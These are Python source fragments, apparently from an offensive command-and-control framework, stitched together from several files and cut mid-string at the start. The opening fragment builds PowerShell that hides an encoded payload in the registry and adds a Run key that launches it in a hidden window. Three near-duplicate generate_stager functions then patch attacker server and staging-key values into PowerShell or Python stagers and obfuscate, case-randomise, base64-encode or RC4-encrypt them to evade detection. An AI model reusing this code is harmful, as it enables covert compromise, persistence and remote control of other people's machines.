'\\';" script += "$name = $parts[-1];" script += "$null=Set-ItemProperty -Force -Path $path -Name $name -Value "+encScript+";" # note where the script is stored locationString = "$((gp "+path+" "+name+")."+name+")" script += "$null=Set-ItemProperty -Force -Path HKLM:Software\\Microsoft\\Windows\\CurrentVersion\\Run\\ -Name "+keyName+" -Value '\"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" -c \"$x="+locationString+";powershell -Win Hidden -enc $x\"';" script += "'Registry persistence established "+statusMsg+"'" return script
def generate_stager(self, listenerOptions, encode=False, encrypt=True, obfuscate=False, obfuscationCommand="", language=None): """ Generate the stager code needed for communications with this listener. """ if not language: print helpers.color('[!] listeners/http generate_stager(): no language specified!') return None profile = listenerOptions['DefaultProfile']['Value'] uris = [a.strip('/') for a in profile.split('|')[0].split(',')] launcher = listenerOptions['Launcher']['Value'] stagingKey = listenerOptions['StagingKey']['Value'] workingHours = listenerOptions['WorkingHours']['Value'] killDate = listenerOptions['KillDate']['Value'] host = listenerOptions['Host']['Value'] customHeaders = profile.split('|')[2:] # select some random URIs for staging from the main profile stage1 = random.choice(uris) stage2 = random.choice(uris) if language.lower() == 'powershell': # read in the stager base f = open("%s/data/agent/stagers/http.ps1" % (self.mainMenu.installPath)) stager = f.read() f.close() # make sure the server ends with "/" if not host.endswith("/"): host += "/" #Patch in custom Headers if customHeaders != []: headers = ','.join(customHeaders) stager = stager.replace("$customHeaders = \"\";","$customHeaders = \""+headers+"\";") #patch in working hours, if any if workingHours != "": stager = stager.replace('WORKING_HOURS_REPLACE', workingHours) #Patch in the killdate, if any if killDate != "": stager = stager.replace('REPLACE_KILLDATE', killDate) # patch the server and key information stager = stager.replace('REPLACE_SERVER', host) stager = stager.replace('REPLACE_STAGING_KEY', stagingKey) stager = stager.replace('index.jsp', stage1) stager = stager.replace('index.php', stage2) randomizedStager = '' for line in stager.split("\n"): line = line.strip() # skip commented line if not line.startswith("#"): # randomize capitalization of lines without quoted strings if "\"" not in line: randomizedStager += helpers.randomize_capitalization(line) else: randomizedStager += line if obfuscate: randomizedStager = helpers.obfuscate(self.mainMenu.installPath, randomizedStager, obfuscationCommand=obfuscationCommand) # base64 encode the stager and return it if encode: return helpers.enc_powershell(randomizedStager) elif encrypt: RC4IV = os.urandom(4) return RC4IV + encryption.rc4(RC4IV+stagingKey, randomizedStager) else: # otherwise just return the case-randomized stager return randomizedStager elif language.lower() == 'python': # read in the stager base f = open("%s/data/agent/stagers/http.py" % (self.mainMenu.installPath)) stager = f.read() f.close() stager = helpers.strip_python_comments(stager) if host.endswith("/"): host = host[0:-1] if workingHours != "": stager = stager.replace('SET_WORKINGHOURS', workingHours) if killDate != "": stager = stager.replace('SET_KILLDATE', killDate) # # patch the server and key information stager = stager.replace("REPLACE_STAGING_KEY", stagingKey) stager = stager.replace("REPLACE_PROFILE", profile) stager = stager.replace("index.jsp", stage1) stager = stager.replace("index.php", stage2) # # base64 encode the stager and return it if encode: return base64.b64encode(stager) if encrypt: # return an encrypted version of the stager ("normal" staging) RC4IV = os.urandom(4) return RC4IV + encryption.rc4(RC4IV+stagingKey, stager) else: # otherwise return the standard stager return stager else: print helpers.color("[!] listeners/http generate_stager(): invalid language specification, only 'powershell' and 'python' are currently supported for this module.")
def generate_stager(self, listenerOptions, encode=False, encrypt=True, obfuscate=False, obfuscationCommand="", language=None): """ Generate the stager code needed for communications with this listener. """ if not language: print helpers.color( '[!] listeners/http generate_stager(): no language specified!') return None profile = listenerOptions['DefaultProfile']['Value'] uris = [a.strip('/') for a in profile.split('|')[0].split(',')] launcher = listenerOptions['Launcher']['Value'] stagingKey = listenerOptions['StagingKey']['Value'] workingHours = listenerOptions['WorkingHours']['Value'] host = listenerOptions['Host']['Value'] customHeaders = profile.split('|')[2:] # select some random URIs for staging from the main profile stage1 = random.choice(uris) stage2 = random.choice(uris) if language.lower() == 'powershell': # read in the stager base f = open("%s/data/agent/stagers/http.ps1" % (self.mainMenu.installPath)) stager = f.read() f.close() # make sure the server ends with "/" if not host.endswith("/"): host += "/" #Patch in custom Headers if customHeaders != []: headers = ','.join(customHeaders) stager = stager.replace( "$customHeaders = \"\";", "$customHeaders = \"" + headers + "\";") #patch in working hours, if any if workingHours != "": stager = stager.replace('WORKING_HOURS_REPLACE', workingHours) # patch the server and key information stager = stager.replace('REPLACE_SERVER', host) stager = stager.replace('REPLACE_STAGING_KEY', stagingKey) stager = stager.replace('index.jsp', stage1) stager = stager.replace('index.php', stage2) randomizedStager = '' for line in stager.split("\n"): line = line.strip() # skip commented line if not line.startswith("#"): # randomize capitalization of lines without quoted strings if "\"" not in line: randomizedStager += helpers.randomize_capitalization( line) else: randomizedStager += line if obfuscate: randomizedStager = helpers.obfuscate( randomizedStager, obfuscationCommand=obfuscationCommand) # base64 encode the stager and return it if encode: return helpers.enc_powershell(randomizedStager) elif encrypt: RC4IV = os.urandom(4) return RC4IV + encryption.rc4(RC4IV + stagingKey, randomizedStager) else: # otherwise just return the case-randomized stager return randomizedStager elif language.lower() == 'python': # read in the stager base f = open("%s/data/agent/stagers/http.py" % (self.mainMenu.installPath)) stager = f.read() f.close() stager = helpers.strip_python_comments(stager) if host.endswith("/"): host = host[0:-1] # # patch the server and key information stager = stager.replace("REPLACE_STAGING_KEY", stagingKey) stager = stager.replace("REPLACE_PROFILE", profile) stager = stager.replace("index.jsp", stage1) stager = stager.replace("index.php", stage2) # # base64 encode the stager and return it if encode: return base64.b64encode(stager) if encrypt: # return an encrypted version of the stager ("normal" staging) RC4IV = os.urandom(4) return RC4IV + encryption.rc4(RC4IV + stagingKey, stager) else: # otherwise return the standard stager return stager else: print helpers.color( "[!] listeners/http generate_stager(): invalid language specification, only 'powershell' and 'python' are currently supported for this module." )
def generate_stager(self, listenerOptions, encode=False, encrypt=True, obfuscate=False, obfuscationCommand="", language=None): """ Generate the stager code needed for communications with this listener. """ if not language: print helpers.color('[!] listeners/http_com generate_stager(): no language specified!') return None profile = listenerOptions['DefaultProfile']['Value'] uris = [a.strip('/') for a in profile.split('|')[0].split(',')] stagingKey = listenerOptions['StagingKey']['Value'] host = listenerOptions['Host']['Value'] workingHours = listenerOptions['WorkingHours']['Value'] customHeaders = profile.split('|')[2:] # select some random URIs for staging from the main profile stage1 = random.choice(uris) stage2 = random.choice(uris) if language.lower() == 'powershell': # read in the stager base f = open("%s/data/agent/stagers/http_com.ps1" % (self.mainMenu.installPath)) stager = f.read() f.close() # make sure the server ends with "/" if not host.endswith("/"): host += "/" #Patch in custom Headers headers = "" if customHeaders != []: crlf = False for header in customHeaders: headerKey = header.split(':')[0] headerValue = header.split(':')[1] # Host header TLS SNI logic done within http_com.ps1 if crlf: headers += "`r`n" else: crlf = True headers += "%s: %s" % (headerKey, headerValue) stager = stager.replace("$customHeaders = \"\";","$customHeaders = \""+headers+"\";") # patch the server and key information stager = stager.replace('REPLACE_SERVER', host) stager = stager.replace('REPLACE_STAGING_KEY', stagingKey) stager = stager.replace('index.jsp', stage1) stager = stager.replace('index.php', stage2) #patch in working hours, if any if workingHours != "": stager = stager.replace('WORKING_HOURS_REPLACE', workingHours) randomizedStager = '' for line in stager.split("\n"): line = line.strip() # skip commented line if not line.startswith("#"): # randomize capitalization of lines without quoted strings if "\"" not in line: randomizedStager += helpers.randomize_capitalization(line) else: randomizedStager += line if obfuscate: randomizedStager = helpers.obfuscate(self.mainMenu.installPath, randomizedStager, obfuscationCommand=obfuscationCommand) # base64 encode the stager and return it if encode: return helpers.enc_powershell(randomizedStager) elif encrypt: RC4IV = os.urandom(4) return RC4IV + encryption.rc4(RC4IV+stagingKey, randomizedStager) else: # otherwise just return the case-randomized stager return randomizedStager else: print helpers.color("[!] listeners/http_com generate_stager(): invalid language specification, only 'powershell' is current supported for this module.")